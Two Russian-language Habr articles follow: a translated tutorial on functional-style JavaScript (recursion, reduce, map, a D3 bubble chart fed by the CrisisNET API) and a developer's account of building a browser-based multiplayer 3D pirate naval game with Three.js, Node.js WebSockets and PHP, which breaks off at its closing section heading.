Функциональное программирование, конечно, может казаться сложным, но нужно помнить, что оно создано не только для докторов наук, приверженцев науки о данных и гуру архитектуры систем. Для большинства настоящая польза от функционального стиля в том, что программы могут быть разделены на мелкие и простые части, более надёжные и значительно более понятные одновременно. Если вы — фронтенд-разработчик, работающий с данными, особенно если используете [D3](http://d3js.org/), [Raphael](http://raphaeljs.com/) или похожие библиотеки для визуализации, то функциональное программирование может стать серьёзным оружием в вашем арсенале.
Найти строгое определение функционального программирования непросто, и большая часть литературы полагается на утверждения вроде «ну, там функции — объекты первого класса» и «исчезают побочные эффекты». Если это ещё не порвало ваш мозг на кусочки, то ближе к теории функциональное программирование часто объясняется в терминах [лямбда-исчисления](http://en.wikipedia.org/wiki/Lambda_calculus) (хотя некоторые утверждают, что функциональное программирование, в принципе, просто математика), но прошу, не беспокойтесь. На самом деле новичку достаточно понять только две идеи для того, чтобы использовать функциональное программирование для своих ежедневных задач (и без всяких лямбд!).
Во-первых, при функциональном подходе данные должны быть неизменны (иммутабельны), что звучит сложновато, но это просто значит, что они не могут меняться. На первый взгляд это может выглядеть странно (в конце концов, кому нужна программа, которая ничего не меняет?), но на деле вы просто постоянно создаёте новые структуры данных вместо изменения существующих. Например, если вам нужно сделать что-то с массивом, вы создаёте новый массив с новыми значениями вместо изменения старого массива. Просто же!
Во-вторых, программы в функциональном стиле не должны иметь состояние, что, в общем-то, значит, что они должны выполняться так, как будто до них никто ничего не делал, и без информации о том, что могло или не могло произойти в программе ранее (можно сказать, что программа без состояния не учитывает своё прошлое). Вместе с неизменяемостью это позволяет воспринимать каждую функцию так, как будто она работает в вакууме, блаженно забивая на всё остальное, что есть в программе, кроме других функций. Ещё это значит, что функция работает только с данными, переданными в качестве параметров, и поэтому может выполнять свою работу независимо от каких-то внешних значений.
Неизменяемость данных и отсутствие состояния — основы функционального программирования, и крайне важно их понять, но не переживайте, если для вас всё по-прежнему туманно. К концу статьи вы поймёте суть этих принципов, и я обещаю, что красота, аккуратность и мощь функционального программирования превратят ваш код в яркую, блестящую, грызущую данные радугу. Но пока начнём с простых функций, возвращающих данные (или другие функции), а затем объединим их для выполнения более сложных задач.
К примеру, пусть у нас есть некоторый ответ от API:
```
var data = [{
name: "Jamestown",
population: 2047,
temperatures: [-34, 67, 101, 87]
}, {
name: "Awesome Town",
population: 3568,
temperatures: [-3, 4, 9, 12]
}, {
name: "Funky Town",
population: 1000000,
temperatures: [75, 75, 75, 75, 75]
}];
```
Если мы хотим использовать графическую библиотеку для сопоставления средней температуры и населения, нам нужно написать немного кода, который готовит данные к визуализации. Пусть наша библиотека для построения графиков ждёт на вход массив `x` — и `y`-координат вроде такого:
```
[
[x, y],
[x, y]
// ... и т.д.
]
```
где `x` — средняя температура, а `y` — население.
Без функционального программирования (или без его применения, т.е. в [императивном стиле](http://en.wikipedia.org/wiki/Imperative_programming)) наш код выглядел бы как-то так:
```
var coords = [],
totalTemperature = 0,
averageTemperature = 0;
for (var i = 0; i < data.length; i++) {
totalTemperature = 0;
for (var j = 0; j < data[i].temperatures.length; j++) {
totalTemperature += data[i].temperatures[j];
}
averageTemperature = totalTemperature / data[i].temperatures.length;
coords.push([averageTemperature, data[i].population]);
}
```
Даже в этом высосанном из пальца примере непросто за всем уследить. Что ж, посмотрим, как сделать всё понятнее.
Для функционального подхода всегда характерен поиск простых, часто повторяемых действий, которые могут быть выделены в функции. Затем можно делать более сложные действия, вызывая эти функции в определённом порядке (что также называется [композицией функций](http://en.wikipedia.org/wiki/Function_composition)) — скоро я остановлюсь на этом подробнее. Определим, что нужно сделать, чтобы привести исходные данные в формат, требуемый библиотекой. Посмотрев код краем глаза, можно выделить следующие действия:
* добавить каждое число в список;
* посчитать среднее значения;
* извлечь каждое свойство из списка объектов.
Мы напишем функцию для каждого из этих действий, а затем составим программу из этих функций. В начале функциональное программирование может немного сбивать с толку, и у вас наверняка появится искушение пасть назад к своим старым императивным привычкам. Чтобы это не произошло, я приведу ниже список главных правил, гарантирующих, что вы следуете лучшим практикам:
* все ваши функции должны принимать хотя бы один параметр;
* все ваши функции должны возвращать или данные, или другую функцию;
* никаких циклов!
Что ж, начнём разработку. Шаг первый — добавим каждое число в список. Сделаем функцию, принимающую параметр — массив чисел, и возвращающую некоторые данные.
```
function totalForArray(arr) {
// любой код
return total;
}
```
Пока всё хорошо, но… как же нам получить доступ к каждому элементу списка, если мы не можем циклически его обойти? Скажите привет вашему новому товарищу — рекурсии! Когда вы используете рекурсию, вы создаёте функцию, которая вызывает себя, если не выполнилось специальное условие выхода — в этом случае просто возвращается текущее значение. Может быть непонятно, но посмотрите на этот простейший пример:
```
// Обратите внимание, что мы принимаем два значения — список и текущий результат
function totalForArray(currentTotal, arr) {
currentTotal += arr[0];
// Заметка для опытных JavaScript-программистов: я не использую Array.shift,
// потому что в статье мы ведём себя с массивами так, как будто они неизменяемые
var remainingList = arr.slice(1);
// Вызываем эту же функцию, передавая остаток (хвост) списка как параметр,
// а currentTotal — текущее значение
if (remainingList.length > 0) {
return totalForArray(currentTotal, remainingList);
}
// Конечно, если список не пуст — в этом случае мы просто возвращаем currentTotal
else {
return currentTotal;
}
}
```
**Осторожно:** Рекурсия делает код более удобочитаемым и естественна для программирования в функциональном стиле. Однако, в некоторых языках (включая JavaScript) возникнут проблемы, если программа сделает слишком много рекурсивных вызовов (на момент написания статьи «слишком много» — это примерно 10000 вызовов в Chrome, 50000 вызовов в Firefox и 11000 вызовов в Node.js). Детальный разбор выходит за границы этой статьи, но суть в том, что по крайней мере до окончательного релиза [ECMAScript 6](https://leanpub.com/understandinges6/read) JavaScript не будет поддерживать кое-что, называемое «хвостовой рекурсией» — более эффективно организованную форму рекурсии. Эта сложная и нечасто встречающаяся тема, но тем не менее о ней полезно знать.
Теперь вернёмся к нашей задаче — нам нужно подсчитать общую температуру по массиву температур, чтобы затем вычислить среднюю. Теперь вместо обхода массива в цикле мы можем просто написать:
```
var totalTemp = totalForArray(0, temperatures);
```
Если вы перфекционист, вы можете заявить, что функцию `totalForArray` тоже можно разбить на функции. Например, сложение чисел может встретиться и в других местах программы и поэтому тоже должно выполняться отдельной функцией.
```
function addNumbers(a, b) {
return a + b;
}
```
Теперь наша функция `totalForArray` выглядит как-то так:
```
function totalForArray(currentTotal, arr) {
currentTotal = addNumbers(currentTotal, arr[0]);
var remainingArr = arr.slice(1);
if (remainingArr.length > 0) {
return totalForArray(currentTotal, remainingArr);
} else {
return currentTotal;
}
}
```
Превосходно! Получение единственного значения по массиву настолько часто встречается в функциональном программировании, что даже имеет собственное название — "[свёртка](http://en.wikipedia.org/wiki/Fold_%28higher-order_function%29)" — вы, может, слышали в качестве глагола — что-то вроде «свернуть список к одному значению». В JavaScript есть специальный метод для выполнения этой задачи. На Mozilla Developer Network есть [подробное описание](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce), но для нашей задачи пока достаточно примера:
```
// Функция свёртки принимает первым аргументом некоторую функцию, которая ожидает
// в качестве параметров текущий элемент и текущий результат вычислений
var totalTemp = temperatures.reduce(function(previousValue, currentValue) {
// После завершения вычисления следующее значение currentValue будет равно previousValue + currentValue,
// а следующее значение previousValue будет равно следующему элементу массива
return previousValue + currentValue;
});
```
Но подождите-ка, мы же уже определили функцию `addNumbers`, поэтому мы можем использовать её:
```
var totalTemp = temperatures.reduce(addNumbers);
```
И поскольку свёртка такая крутецкая, давайте выделим её в отдельную функцию, чтобы мы могли просто вызвать её без необходимости помнить все эти запутанные детали.
```
function totalForArray(arr) {
return arr.reduce(addNumbers);
}
var totalTemp = totalForArray(temperatures);
```
О, вот теперь код легко читается! К слову, методы вроде свёртки присутствуют в большинстве функциональных языков. Эти вспомогательные методы, выполняющие действия над списками вместо возни с циклами, называются [функциями высшего порядка](http://en.wikipedia.org/wiki/Higher-order_function).
Что ж, двигаемся дальше; следующая задача по нашему списку — подсчёт среднего значения. Это очень просто.
```
function average(total, count) {
return total / count;
}
```
Как далеко мы зайдём для подсчёта среднего значения по всему массиву?
```
function averageForArray(arr) {
return average(totalForArray(arr), arr.length);
}
var averageTemp = averageForArray(temperatures);
```
Надеюсь, вы начали понимать, как работает композиция функций для выполнения более сложных задач. Всё это возможно благодаря следованию правилам, перечисленным в начале статьи, а именно тому, что функции должны принимать параметры и возвращать данные. Удобно же.
Теперь нужно извлечь по одному свойству из каждого объекта массива. Вместо того, чтобы показывать примеры рекурсии, я сосредоточусь на важном и покажу ещё один встроенный в JavaScript метод: [`map`](http://en.wikipedia.org/wiki/Map_%28higher-order_function%29). Этот метод нужен, если надо отобразить массив структур одного типа в список структур другого типа:
```
// Метод принимает единственный параметр — функцию, ожидающую параметр,
// равный текущему элементу списка
var allTemperatures = data.map(function(item) {
return item.temperatures;
});
```
Всё это круто, но извлечение свойства из коллекции объектов — что-то, что делается постоянно, поэтому напишем функцию и для этого.
```
// Параметр — имя свойства, которое нужно получить
function getItem(propertyName) {
// Возвращаем функцию, которая извлекает значение, но не выполняем её сразу.
// Вызывать её будет метод, который будет выполнять действия над нашим массивом.
return function(item) {
return item[propertyName];
}
}
```
Ого, мы написали функцию, которая возвращает функцию! Теперь мы можем передать её в метод `map`:
```
var temperatures = data.map(getItem('temperature'));
```
Если вы любите детали, то объясню: причина, по которой мы можем это делать, в том, что в JavaScript функции — «объекты первого класса», что означает, что вы можете использовать функцию так же, как и любое другое значение. Хотя так можно делать во многих языках, это одно из требований для того, чтобы язык мог использоваться для программирования в функциональном стиле. Между прочим, это также причина, по которой вы можете делать штуки вроде `$('#my-element').on('click', function(e) { //... })`. Второй параметр метода `on` — функция, и когда вы передаёте функции как параметры, вы используете их так же, как использовали бы обычные значения в императивных языках. Изящно.
Наконец, обернём вызов метода `map` в собственную функцию, чтобы сделать более удобочитаемым.
```
function pluck(arr, propertyName) {
return arr.map(getItem(propertyName));
}
var allTemperatures = pluck(data, 'temperatures');
```
Так, теперь у нас есть набор обобщённых функций, которые могут быть использованы в любом месте приложения и даже в других проектах. Мы можем подсчитывать элементы массива, получать средние значения по массиву и создавать новые массивы, извлекая свойства из списков объектов. Теперь последнее по счёту, но не по важности — вернёмся к исходной задаче:
```
var data = [{
name: "Jamestown",
population: 2047,
temperatures: [-34, 67, 101, 87]
}, {
// ...
}];
```
Нам нужно преобразовать массив объектов вроде того, что указан выше, в массив пар `x`, `y`:
```
[
[75, 1000000],
// ...
];
```
где `x` — средняя температура, а `y` — население. Во-первых, извлечём нужные нам данные:
```
var populations = pluck(data, 'population');
var allTemperatures = pluck(data, 'temperatures');
```
Теперь посчитаем список средних значений. Нужно помнить, что функция, которую мы передаём в метод `map`, будет вызвана для каждого элемента массива; возвращаемое переданной функцией значение будет добавлено в новый массив, и этот новый массив будет присвоен нашей переменной `averageTemps`.
```
var averageTemps = allTemperatures.map(averageForArray);
```
Пока всё OK, но теперь у нас два массива:
```
// populations
[2047, 3568, 1000000]
// averageTemps
[55.25, 5.5, 75]
```
Но нам же нужен только один массив, так что напишем функцию для их объединения. Наша функция будет проверять, что элемент по индексу 0 из первого массива состоит в паре с элементом по индексу 0 из второго массива, и так далее для остальных индексов с 1 по n (где n — общее количество элементов каждого из массивов) [поскольку в чистом JavaScript отсутствует [`zip`](http://zvon.org/other/haskell/Outputprelude/zip_f.html) — прим. переводчика].
```
function combineArrays(arr1, arr2, finalArr) {
// Устанавливаем значение по умолчанию
finalArr = finalArr || [];
// Добавляем текущий элемент каждого из массивов в результирующий
finalArr.push([arr1[0], arr2[0]]);
var remainingArr1 = arr1.slice(1),
remainingArr2 = arr2.slice(1);
// Если оба массива пусты, то мы закончили
if ((remainingArr1.length === 0) && (remainingArr2.length === 0)) {
return finalArr;
} else {
// Рекурсия!
return combineArrays(remainingArr1, remainingArr2, finalArr);
}
};
var processed = combineArrays(averageTemps, populations);
```
Однострочники — это весело:
```
var processed = combineArrays(pluck(data, 'temperatures').map(averageForArray), pluck(data, 'population'));
// [
// [ 55.25, 2047 ],
// [ 5.5, 3568 ],
// [ 75, 1000000 ]
// ]
```
#### Ближе к жизни
Напоследок рассмотрим более близкий к реальной жизни пример, на этот раз добавив к нашему инструментарию [Underscore.js](http://underscore.org/) — JavaScript-библиотеку, предоставляющую множество замечательных вспомогательных функций. Мы будем получать данные с [CrisisNET](http://crisis.net/) — сервиса для сбора информации о столкновениях и катастрофах, и визуализировать их с помощью потрясающей библиотеки [D3](http://d3js.org/).
Цель заключается в том, чтобы дать посетителям CrisisNET картинку о всех типах информации, предлагаемых сервисом. Для этого мы будем подсчитывать количество полученных через API сервиса документов, соответствующих некоторой категории (например, «физическое насилие» или «вооружённый конфликт»). Так пользователь сможет увидеть, как много информации доступно по тем темам, которые кажутся ему наиболее интересными.
Пузырьковая диаграмма может быть отличным вариантом, потому что они часто используются для представления относительных размеров больших групп людей. К счастью, D3 поддерживает специальный тип диаграмм, именуемый `pack`. Что ж, давайте сделаем такой график, и пусть он показывает количество раз, которое указанное имя категории появляется в ответе от CrisisNET API.
Перед тем, как мы начнём, следует напомнить, что D3 — сложная библиотека, требующая отдельного изучения. Поскольку эта статья посвящена функциональному программированию, мы не будем тратить время на описание того, как работает D3. Не переживайте — если вы ещё не знакомы с этой библиотекой, вы всегда можете скопипастить код разобрать его. [Самоучитель по D3 Скотта Мюррея](http://alignedleft.com/tutorials/d3) — отличный источник знаний по этой библиотеке.
Первым делом убедимся, что у нас есть DOM-элемент, в который D3 сможет поместить сгенерированный по нашим данным график.
```
```
Теперь создадим нашу диаграмму и поместим её в DOM.
```
// ширина диаграммы
var diameter = 960,
format = d3.format(",d"),
// Создаёт шкалу с 20 цветами
color = d3.scale.category20c(),
// Объект диаграммы, в который мы будем помещать данные
var bubble = d3.layout.pack()
.sort(null)
.size([diameter, diameter])
.padding(1.5);
// Добавляем в DOM SVG-объект, который D3 будет использовать для рисования
var svg = d3.select("#bubble-graph").append("svg")
.attr("width", diameter)
.attr("height", diameter)
.attr("class", "bubble");
```
Объект `pack` принимает массив объектов следующего формата:
```
{
children: [{
className: ,
package: "cluster",
value:
}]
}
```
CrisisNET API возвращает данные следующего формата:
```
{
data: [{
summary: "Example summary",
content: "Example content",
// ...
tags: [{
name: "physical-violence",
confidence: 1
}]
}]
}
```
Мы видим, что каждый документ имеет свойство «тег» (`tag`), и это свойство содержит массив элементов, каждый из которых имеет свойство `name`, содержащее имя — оно-то нам и нужно. Нам придётся подсчитать количество того, сколько раз имя каждого тега встречается в результатах, возвращаемых CrisisNET API. Начнём с того, что извлечём информацию, которая нам нужна, используя уже написанную функцию `pluck`.
```
var tagArrays = pluck(data, 'tags');
```
Теперь у нас есть массив такого формата:
```
[
[{
name: "physical-violence",
confidence: 1
}], [{
name: "conflict",
confidence: 1
}]
]
```
Но нам нужен единственный массив всех тегов. Хм, воспользуемся удобной функцией `flatten` из Underscore.js — она извлечёт значения из вложенных массивов и вернёт нам один общий массив без вложенности.
```
var tags = _.flatten(tagArrays);
```
Что ж, теперь с нашим массивом немного проще работать:
```
[{
name: "physical-violence",
confidence: 1
}, {
name: "conflict",
confidence: 1
}]
```
Теперь снова воспользуемся функцией `pluck` для получения того, что нам нужно — простого списка имён тегов.
```
var tagNames = pluck(tags, 'name');
[
"physical-violence",
"conflict"
]
```
Да, так намного лучше.
Теперь мы займёмся относительно прямолинейной задачей — подсчётом количества раз, которое каждое имя тега встречается в нашем списке, и преобразованием этого списка в структуру, которая нужна для построения диаграммы. Как вы могли заметить, массивы весьма популярны в функциональном программировании — большая часть инструментов спроектирована с расчётом на массивы [автор часто пишет «массивы» («arrays»), но имеет в виду, очевидно, списки, что в общем случае совсем не обязательно одно и то же — прим. переводчика]. Для начала мы создадим вот такой массив:
```
[
["physical-violence", 10],
["conflict", 27]
]
```
Здесь каждый элемент массива представляет собой массив, в которой нулевой элемент — имя тега, а первый элемент — количество, которое тег встречается в результатах. Для начала создадим массив, в котором каждое имя тега встречается единственный раз. К счастью, Underscore.js предоставляет метод для этой цели.
```
var tagNamesUnique = _.uniq(tagNames);
```
Также избавимся от всех `false`-значений (`false`, `null`, `""` и т.д.) `y`-координаты, применив другую функцию из Underscore.js:
```
tagNamesUnique = _.compact(tagNamesUnique);
```
Теперь накатаем функцию, которая сгенерирует наш массив, используя другой встроенный в JavaScript метод — `filter`, который выбирает только те значения, которые удовлетворяют некоторому условию.
```
function makeArrayCount(keys, arr) {
// Для каждого уникального имени тега
return keys.map(function(key) {
return [
key,
// Фильтруем по имени тега и возвращаем количество
arr.filter(function(item) {
return item === key;
}).length
]
});
}
```
Теперь мы легко можем создать структуру данных, которая требуется D3 для построения диаграммы `pack`, отобразив структуру функцией `map`.
```
var packData = makeArrayCount(tagNamesUnique, tagNames).map(function(tagArray) {
return {
className: tagArray[0],
package: "cluster",
value: tagArray[1]
}
});
```
Наконец, мы можем передать эти данные D3 и сгенерировать нужные DOM-элементы в нашем SVG — под одному кружку на каждое имя тега с размерами, пропорциональными общему количеству раз, которое имя этого тега встречается в ответе API CrisisNET.
```
function setGraphData(data) {
var node = svg.selectAll(".node")
// Сюда мы передаём наши данные
.data(bubble.nodes(data)
.filter(function(d) {
return !d.children;
}))
.enter().append("g")
.attr("class", "node")
.attr("transform", function(d) {
return "translate(" + d.x + "," + d.y + ")";
});
// Добавляем кружок для каждого имени тега
node.append("circle")
.attr("r", function(d) {
return d.r;
})
.style("fill", function(d) {
return color(d.className);
});
// Добавляем подпись с именем тега к каждому кружку
node.append("text")
.attr("dy", ".3em")
.style("text-anchor", "middle")
.style("font-size", "10px")
.text(function(d) {
return d.className
});
}
```
Объединив всё вместе, мы можем посмотреть работу функций `setGraphData` и `makeArray` в общем контексте, включая запрос к API CrisisNET с помощью jQuery (правда, для этого нужно [получить API-ключ](http://api.crisis.net/)). Я также разместил [полностью рабочий код этого примера](https://github.com/gati/lilfunc/blob/master/smashing.html) на GitHub.
```
function processData(dataResponse) {
var tagNames = pluck(_.flatten(pluck(dataResponse.data, 'tags')), 'name');
var tagNamesUnique = _.uniq(tagNames);
var packData = makeArrayCount(tagNamesUnique, tagNames).map(function(tagArray) {
return {
className: tagArray[0],
package: "cluster",
value: tagArray[1]
}
});
return packData;
}
function updateGraph(dataResponse) {
setGraphData(processData(dataResponse));
}
var apikey = // Получить API-ключ можно здесь: http://api.crisis.net
var dataRequest = $.get('http://api.crisis.net/item?limit=100&apikey=' + apikey);
dataRequest.done(updateGraph);
```
Это было непростое и глубокое погружение, поэтому остаётся только поздравить с завершением! Как я говорил раньше, проникнуться представленными идеями вначале может быть непросто, однако всеми силами противьтесь соблазну вернуться к императивным циклам!
За несколько недель использования принципов функционального программирования вы напишете простые, пригодные к повторному использованию функции, которые повысят удобочитаемость вашего кода. К тому же, вы сможете значительно быстрее работать со структурами, всего несколькими строчками делая то, что раньше приходилось напряжённо отлаживать по получасу. А раз ваши данные будут правильно преобразованы, у вас останется больше времени на приятную часть — на то, чтобы всё выглядело шикарно! | https://habr.com/ru/post/228893/ | null | ru | null |
# Море, пираты — 3D онлайн игра в браузере
Приветствую пользователей Хабра и случайных читателей. Это история разработки браузерной многопользовательской онлайн игры с low-poly 3D графикой и простейшей 2D физикой.
Позади немало браузерных 2D мини-игр, но подобный проект для меня в новинку. В gamedev решать задачи, с которыми ещё не сталкивался, может быть довольно увлекательно и интересно. Главное — не застрять со шлифовкой деталей и запустить рабочую игру пока есть желание и мотивация, поэтому не будем терять время и приступим к разработке!
Об игре в двух словах
---------------------
**Бой на выживание** — единственный на данный момент режим игры. Сражения от 2 до 6 кораблей без перерождений, где последний выживший игрок считается победителем и получает х3 очков и золота.
**Аркадное управление**: кнопки W, A, D или стрелки для движения, пробел для залпа по вражеским кораблям. Прицеливаться не нужно, промахнуться нельзя, урон зависит от рандома и угла выстрела. Больший урон сопровождается медалькой «точно в цель».
**Зарабатываем золото** занимая первые места в рейтингах игроков за 24 часа и за 7 дней (сброс в 00:00 по МСК) и выполняя ежедневные задания (на день выдается одно из трех, по очереди). Золото за сражения тоже есть, но меньше.
**Тратим золото** устанавливая черные паруса на свой корабль на 24 часа. В планах добавить возможность разбудить Кракена, который утащит на дно любой вражеский корабль своими гигантскими щупальцами :)
**ПВП или** ~~зассал~~ **трус?** Особенность, которую я хотел реализовать ещё до выбора темы пиратов — это возможность сразиться с друзьями в пару кликов. Без регистрации и лишних телодвижений можно отправить пригласительную ссылку друзьям и подождать когда они войдут в игру по ссылке: приватная комната, которую можно открыть для всех, создаётся автоматически, когда кто-то переходит по ссылке, при условии что «автор» ссылки не начал другое сражение.
Стек технологий
---------------
**Three.js** — одна из самых популярных библиотек для работы с 3D в браузере с хорошей документацией и большим количеством различных примеров. Кроме того, я использовал Three.js и раньше — выбор очевиден.
Отсутствие игрового движка обусловлено отсутствием соответствующего опыта и желания изучать то, без чего и так всё неплохо работает :)
**Node.js** потому что просто, быстро и удобно, хотя опыта непосредственно в Node.js не имел. В качестве альтернативы рассматривал Java, проводил пару локальных экспериментов в том числе с веб-сокетами, но сложно ли запустить «джаву» на VPS выяснять не решился. Ещё один вариант — Go, его синтаксис вгоняет меня в уныние — не продвинулся в его изучении ни на йоту.
Для веб-сокетов используется модуль ws в Node.js.
**PHP и MySQL** менее очевидный выбор, но критерий всё тот же — быстро и просто, так как есть опыт в данных технологиях.
Получается вот такая схема:
PHP нужен в первую очередь для отдачи клиенту веб-страничек и для редких AJAX запросов, но по большей части клиент общается всё же с игровым сервером на Node.js по веб-сокетам.
Мне совсем не хотелось связывать игровой сервер с БД, поэтому всё идет через PHP. На мой взгляд тут есть свои плюсы, хотя не уверен значимы ли они. Например, так как в Node.js приходят уже готовые данные в нужном виде, Node.js не тратит время на обработку и дополнительные запросы в БД, а занимается более важными делами — «переваривает» действия игроков и изменяет состояние игрового мира в комнатах.
Сначала модель
--------------
Разработка началась с простого и самого главного — некой модели игрового мира, описывающей морские сражения с серверной точки зрения. Обычный canvas 2D для схематичного отображения модели на экране подходит идеально.
Изначально я поставил нормальную «верлетовую» физику, и учитывал различное сопротивление движению корабля в разных направлениях относительно направления корпуса. Но беспокоясь о производительности сервера, я заменил нормальную физику на простейшую, где очертания корабля остались только в визуале, физически же корабли — круглые объекты, которые даже не обладают инерцией. Вместо инерции — ограниченное ускорение движения вперед.
Выстрелы и попадания сводятся к простым операциям с векторами направления корабля и направления выстрела. Здесь нет снарядов. Если dot продукт нормализованных векторов вписывается в допустимые значения с учетом расстояния до цели, то быть выстрелу и попаданию, если при этом игрок нажал кнопку.
Клиентский JavaScript для визуализации модели игрового мира, обрабатывающий движение кораблей и выстрелы, я перенес на Node.js сервер почти без изменений.
Игровой сервер
--------------
Node.js WebSocket сервер состоит всего из 3 скриптов:
* **main.js** — основной скрипт, который получает WS сообщения от игроков, создаёт комнаты и заставляет шестеренки этой машины крутиться
* **room.js** — скрипт, отвечающий за игровой процесс внутри комнаты: обновление игрового мира, рассылка обновлений игрокам комнаты
* **funcs.js** — включает класс для работы с векторами, пару вспомогательных функций и класс реализующий двусвязный список
По мере разработки добавлялись новые классы — почти все из них напрямую связаны с игровым процессом и попали в файл room.js. Порой бывает удобно работать с классами по отдельности (в отдельных файлах), но вариант всё в одном тоже неплох, пока классов не слишком много (удобно прокрутить вверх и вспомнить какие параметры принимает метод другого класса).
Актуальный список классов игрового сервера:
* **WaitRoom** — комната, куда попадают игроки ожидающие начала сражения, здесь есть собственный tick метод, рассылающий свои обновления и запускающий создание игровой комнаты когда больше половины игроков готовы к бою
* **Room** — игровая комната, где проходят сражения: обновляются состояния игроков/кораблей, затем обрабатываются возможные столкновения, в конце формируется и рассылается всем сообщение с актуальными данными
* **Player** — по сути «обёртка» с некоторыми дополнительными свойствами и методами для следующего класса:
* **Ship** — этот класс заставляет корабли плавать: реализует движение и повороты, здесь также хранятся данные о повреждениях, чтобы в конце игры зачислить очки игрокам, принимавшим участие в уничтожении корабля
* **PhysicsEngine** — класс, реализующий простейшие столкновения круглых объектов
* **PhysicsBody** — всё есть круглые объекты со своими координатами на карте и радиусом
**Игровой цикл в классе Room выглядит примерно так**
```
let upd = {p: [], t: this.gamet};
let t = Date.now();
let dt = t - this.lt;
let nalive = 0;
for (let i in this.players) {
this.players[i].tick(t, dt);
}
this.physics.run(dt);
for (let i in this.players) {
upd.p.push(this.players[i].getUpd());
}
this.chronology.addLast(clone(upd));
if (this.chronology.n > 30) this.chronology.remFirst();
let updjson = JSON.stringify(upd);
for (let i in this.players) {
let pl = this.players[i];
if (pl.ship.health > 0) nalive++;
if (pl.deadLeave) continue;
pl.cl.ws.send(updjson);
}
this.lt = t;
this.gamet += dt;
if (nalive <= 1) return false;
return true;
```
Кроме классов, есть такие функции, как получить данные пользователя, обновить ежедневное задание, получить награду, купить скин. Эти функции в основном отправляют https запросы в PHP, который выполняет один или несколько MySQL запросов и возвращает результат.
Сетевые задержки
----------------
Компенсация сетевых задержек — важная часть разработки онлайн игры. По этой теме я не раз перечитывал [серию статей здесь на Хабре](https://habr.com/ru/post/302394/). В случае сражения парусных кораблей компенсация лагов может быть простой, но всё равно приходится идти на компромиссы.
На клиенте постоянно осуществляется интерполяция — вычисление состояния игрового мира между двумя моментами во времени, данные для которых уже получены. Есть небольшой запас времени, уменьшающий вероятность резких скачков, а при существенных сетевых задержках и отсутствии новых данных интерполяция сменяется экстраполяцией. Экстраполяция даёт не слишком корректные результаты, зато дёшево обходится для процессора и не зависит от того, как реализовано движение кораблей на сервере, и конечно, иногда может спасти ситуацию.
При решении проблемы лагов очень многое зависит от игры и её темпа. Я жертвую быстрым откликом на действия игрока в пользу плавности анимации и точного соответствия картинки состоянию игрового мира в некий момент времени. Единственное исключение — залп из пушек воспроизводится незамедлительно по нажатию кнопки. Остальное можно списать на законы вселенной и излишек рома у команды корабля :)
Фронт-энд
---------
К сожалению здесь нет четкой структуры или иерархии классов и методов. Весь JS разбит на объекты со своими функциями, которые в каком-то смысле являются равноправными. Почти все мои предыдущие проекты были устроены более логично чем этот. Отчасти так вышло потому что сначала целью было отладить модель игрового мира на сервере и сетевое взаимодействие не обращая внимания на интерфейс и визуальную составляющую игры. Когда пришло время добавлять 3D я в буквальном смысле его добавил в существующую тестовую версию, грубо говоря, заменил 2D функцию drawShip на точно такую же, но 3D, хотя по-хорошему стоило пересмотреть всю структуру и подготовить основу для будущих изменений.
### 3D корабль
Three.js поддерживает использование готовых 3D моделей различных форматов. Я выбрал для себя GLTF / GLB формат, где могут быть вшиты текстуры и анимация, т.е. разработчик не должен задаваться вопросом «все ли текстуры загрузились?».
Раньше я ни разу не имел дела с 3D редакторами. Логичным шагом было обратиться к специалисту на фриланс бирже с задачей создания 3D модели парусного корабля с вшитой анимацией залпа из пушек. Но я не удержался от мелких изменений в готовой модели специалиста своими силами, а закончилось это тем, что я создал свою модель с нуля в Blender. Создать low-poly модель почти без текстур — просто, сложно без готовой модели от специалиста изучить в 3D редакторе то, что нужно для конкретной задачи (как минимум морально :).
### Шейдеры богу шейдеров
Основная причина, по которой мне нужны свои шейдеры — это возможность манипулирования геометрией объекта на видеокарте в процессе отрисовки, что отличается хорошей производительностью. Three.js не только позволяет создавать свои шейдеры, но и может брать часть работы на себя.
Механизм или способ, который я использовал при создании системы частиц для анимации повреждения корабля, динамичной водной поверхности или статичного морского дна один и тот же: специальный материал ShaderMaterial предоставляет упрощённый интерфейс использования своего шейдера (своего кода GLSL), BufferGeometry позволяет создавать геометрию из произвольных данных.
Пустая заготовка, структура кода, которую мне было удобно копировать, дополнять и изменять для создания своего 3D объекта подобным образом:
**Показать код**
```
let vs = `
attribute vec4 color;
varying vec4 vColor;
void main(){
vColor = color;
gl_Position = projectionMatrix * modelViewMatrix * vec4( position, 1.0 );
// gl_PointSize = 5.0; // for particles
}
`;
let fs = `
uniform float opacity;
varying vec4 vColor;
void main() {
gl_FragColor = vec4(vColor.xyz, vColor.w * opacity);
}
`;
let material = new THREE.ShaderMaterial( {
uniforms: {
opacity: {value: 0.5}
},
vertexShader: vs,
fragmentShader: fs,
transparent: true
});
let geometry = new THREE.BufferGeometry();
//let indices = [];
let vertices = [];
let colors = [];
/* ... */
//geometry.setIndex( indices );
geometry.setAttribute( 'position', new THREE.Float32BufferAttribute( vertices, 3 ) );
geometry.setAttribute( 'color', new THREE.Float32BufferAttribute( colors, 4 ) );
let mesh = new THREE.Mesh(geometry, material);
```
#### Повреждение корабля
Анимация повреждения корабля — это движущиеся, изменяющие свой размер и цвет частицы, поведение которых определяется их атрибутами и GLSL кодом шейдера. Генерация частиц (геометрия и материал) происходит заранее, затем для каждого корабля создаётся свой экземпляр (Mesh) частиц урона (геометрия общая для всех, материал клонируется). Атрибутов частиц получилось довольно много, зато созданный шейдер реализует одновременно и большие медленно движущиеся облака пыли, и быстро разлетающиеся обломки, и частицы огня, активность которых зависит от степени повреждения корабля.
#### Море
Море также реализовано с помощью ShaderMaterial. Каждая вершина движется во всех 3-х направлениях по синусоиде образуя рандомные волны. Атрибуты определяют амплитуды для каждого направления движения и фазу синусоиды.
Чтобы разнообразить цвета на воде и сделать игру интереснее и приятнее глазу было решено добавить дно и острова. Цвет дна зависит от высоты/глубины и просвечивает сквозь водную поверхность создавая темные и светлые области.
Морское дно создаётся из карты высот, которая создавалась в 2 этапа: сначала в графическом редакторе было создано дно без островов (в моём случае инструментами были render -> clouds и Gaussian blur), затем средствами Canvas JS онлайн на jsFiddle в случайном порядке были добавлены острова рисованием окружности и размытием. Некоторые острова низкие, через них можно стрелять в противников, другие имеют определённую высоту, через них выстрелы не проходят. Кроме самой карты высот, на выходе я получаю данные в json формате об островах (их положение и размеры) для физики на сервере.
Что дальше?
-----------
